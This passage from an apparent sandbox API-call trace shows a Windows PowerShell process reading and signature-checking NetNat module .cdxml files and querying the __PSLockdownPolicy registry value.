returned 0x1725 [0113.997] ReadFile (in: hFile=0xa24, lpBuffer=0x5434d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5434d70*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0113.997] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0113.997] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0113.997] CoTaskMemFree (pv=0x73c10d0) [0113.997] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0113.997] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0113.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0113.997] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0113.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0113.997] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0113.997] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa08) returned 0x0 [0113.998] RegQueryValueExW (in: hKey=0xa08, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0113.998] RegCloseKey (hKey=0xa08) returned 0x0 [0113.998] CloseHandle (hObject=0xa24) returned 1 [0113.998] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0113.998] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0113.999] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0113.999] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0113.999] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0113.999] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0113.999] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0114.000] VarR8FromDec (in: pdecIn=0x5448a48, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.000] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.000] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.000] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.000] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.000] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.000] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.001] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatexternaladdress.cdxml")) returned 0x20 [0114.003] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.003] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.003] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0114.003] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.003] CoTaskMemFree (pv=0x73c10d0) [0114.003] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.003] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0114.003] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0114.003] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.004] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa24) returned 0x0 [0114.004] RegQueryValueExW (in: hKey=0xa24, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0114.004] RegCloseKey (hKey=0xa24) returned 0x0 [0114.004] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.004] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0114.004] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatexternaladdress.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x544d128 | out: lpFileInformation=0x544d128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1 [0114.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0114.005] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatexternaladdress.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1 [0114.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0114.005] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatexternaladdress.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1 [0114.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0114.005] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatexternaladdress.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.005] GetFileType (hFile=0xa24) returned 0x1 [0114.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0114.006] GetFileType (hFile=0xa24) returned 0x1 [0114.006] WTGetSignatureInfo () returned 0x0 [0114.309] CertDuplicateCertificateContext (pCertContext=0x73c4540) returned 0x73c4540 [0114.309] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa20) returned 0x0 [0114.309] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0114.309] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x544d650, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0114.309] RegCloseKey (hKey=0xa20) returned 0x0 [0114.310] CoTaskMemAlloc (cb=0x10) returned 0x7443c88 [0114.310] CoTaskMemAlloc (cb=0x30) returned 0x740d910 [0114.310] WinVerifyTrust () returned 0x0 [0114.311] CoTaskMemFree (pv=0x740d910) [0114.311] CoTaskMemFree (pv=0x7443c88) [0114.311] CertFreeCertificateContext (pCertContext=0x73c4540) returned 1 [0114.311] CloseHandle (hObject=0xa24) returned 1 [0114.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml", lpFilePart=0x0) returned 0x5a [0114.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0114.311] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatExternalAddress.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatexternaladdress.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.311] GetFileType (hFile=0xa24) returned 0x1 [0114.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0114.312] GetFileType (hFile=0xa24) returned 0x1 [0114.312] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0114.312] ReadFile (in: hFile=0xa24, lpBuffer=0x544e648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x544e648*, lpNumberOfBytesRead=0x843d390*=0xd51, lpOverlapped=0x0) returned 1 [0114.312] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xd51 [0114.312] ReadFile (in: hFile=0xa24, lpBuffer=0x544db39, nNumberOfBytesToRead=0x2af, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x544db39*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0114.312] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xd51 [0114.312] ReadFile (in: hFile=0xa24, lpBuffer=0x544e648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x544e648*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0114.312] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0114.312] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.312] CoTaskMemFree (pv=0x73c10d0) [0114.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0114.312] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0114.312] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa08) returned 0x0 [0114.313] RegQueryValueExW (in: hKey=0xa08, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0114.313] RegCloseKey (hKey=0xa08) returned 0x0 [0114.313] CloseHandle (hObject=0xa24) returned 1 [0114.314] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0114.314] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0114.314] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0114.314] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0114.315] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0114.315] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0114.315] VarR8FromDec (in: pdecIn=0x545ca2c, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0114.315] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatstaticmapping.cdxml")) returned 0x20 [0114.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.502] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0114.502] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.502] CoTaskMemFree (pv=0x73c10d0) [0114.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0114.502] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0114.502] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.502] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa24) returned 0x0 [0114.503] RegQueryValueExW (in: hKey=0xa24, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0114.503] RegCloseKey (hKey=0xa24) returned 0x0 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0114.503] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatstaticmapping.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x545f80c | out: lpFileInformation=0x545f80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x118d)) returned 1 [0114.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: 